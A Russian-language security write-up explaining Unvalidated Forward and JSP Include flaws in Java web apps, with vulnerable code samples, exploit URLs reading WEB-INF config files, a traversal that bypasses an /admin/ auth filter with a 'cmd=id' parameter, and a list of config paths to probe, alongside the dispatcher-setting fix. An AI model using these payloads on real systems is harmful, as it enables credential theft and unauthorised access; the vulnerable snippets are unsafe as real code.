Довольно часто встречаю уязвимости Unvalidated Forward и JSP Include, но нормальных статей про них толком не встречал (поэтому написал еще одну плохую).
Примеры уязвимостей
String locale = request.getParameter("locale");
request.getRequestDispatcher("/folder/" + locale + "/index.jsp").forward(request, response);
<jsp:include page='<%=request.getParameter("page")%>'/>
<jsp:forward page='<%=request.getParameter("page")%>'/>
Описание
forward - передача обработки текущего запроса другому сценарию.
include - включение в ответ результата обработки другого сценария.
С помощью данных функций нельзя получить доступ к произвольным файлам в системе, работа происходит только в рамках одного веб приложения.
Путь, передаваемый в функции, обрабатывается как Request-URI. То есть:
- Для отбрасывания префикса можно использовать
prefix/../path
(но не выше текущего приложения) - Для отбрасывания постфикса можно использовать
path/?/postfix.jsp
В результате будет тоже самое, как обращение к данному пути с помощью обычного HTTP запроса (jsp исполнится, а xml будет прочитан). Но с небольшими отличиями:
- Результирующий сценарий получит все параметры, переданные в оригинальном запросе. Если в путь добавить query string, то эти параметры будут добавлены к оригинальным.
- В данном запросе нет ограничений на обращения к файлам из каталогов WEB-INF и META-INF
- По умолчанию данный запрос не обрабатывается фильтрами, описанными в web.xml
- Иногда данные уязвимости помогают обойти WAF
Пример эксплуатации
<jsp:include page="<%=request.getParameter("page")%>"/>
/index.jsp?page=/WEB-INF/web.xml
String locale = request.getParameter("locale");
request.getRequestDispatcher("/folder/" + locale + "/index.jsp").forward(request, response);
/index.jsp?locale=../WEB-INF/web.xml?
Обход фильтров
Часто сценарии для администрирования просто выносят в отдельный каталог /admin/
, который закрывают с помощью фильтра с проверкой авторизации.
<filter>
<filter-name>AdminFilter</filter-name>
<filter-class>foo.bar.AdminFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>AdminFilter</filter-name>
<url-pattern>/admin/*</url-pattern>
</filter-mapping>
В данном случае для запросов через forward и include по умолчанию фильтр не будет вызван и авторизация не проверится.
/index.jsp?locale=../admin/Pwn?cmd=id%26
Для того, чтобы фильтр работал и в этом случае, необходимо добавить следующие настройки (по умолчанию идет только REQUEST - прямой запрос к сценарию).
<filter-mapping>
<filter-name>AdminFilter</filter-name>
<url-pattern>/admin/*</url-pattern>
<dispatcher>REQUEST</dispatcher>
<dispatcher>FORWARD</dispatcher>
<dispatcher>INCLUDE</dispatcher>
</filter-mapping>
Обращение к файлам из WEB-INF и META-INF
1. Доступ к конфигурационным файлам. Следует проверить следующие варианты:/WEB-INF/web.xml
/WEB-INF/%filename%.xml
/WEB-INF/%filename%.properties
/WEB-INF/classes/%filename%.xml
/WEB-INF/classes/%filename%.properties
/WEB-INF/config/%filename%.xml
/WEB-INF/config/%filename%.properties
/WEB-INF/conf/%filename%.xml
/WEB-INF/conf/%filename%.properties
/WEB-INF/resources/%filename%.xml
/WEB-INF/resources/%filename%.properties
/META-INF/%filename%.xml
/META-INF/%filename%.properties
Я попытался составить небольшой словарь того, что может там встретиться
https://github.com/BlackFan/WEB-INF-dict/blob/master/web-inf.txt
/WEB-INF/lib/%filename%.jar
/WEB-INF/classes/foo/bar/Baz.class => package foo.bar; class Baz
В случае с библиотеками вслепую перебирать будет довольно сложно, так как часто в имени есть еще и версия. Но чтение классов вполне реально, информацию о существующих классах можно получить из stack trace, web.xml, конфигурационных файлов и самих классов.
Дальнейшая эксплуатация зависит от конкретного приложения, но в основном полученных данных (учетные записи к базам данных и панелям администрирования, исходный код приложения) хватает для развития атаки.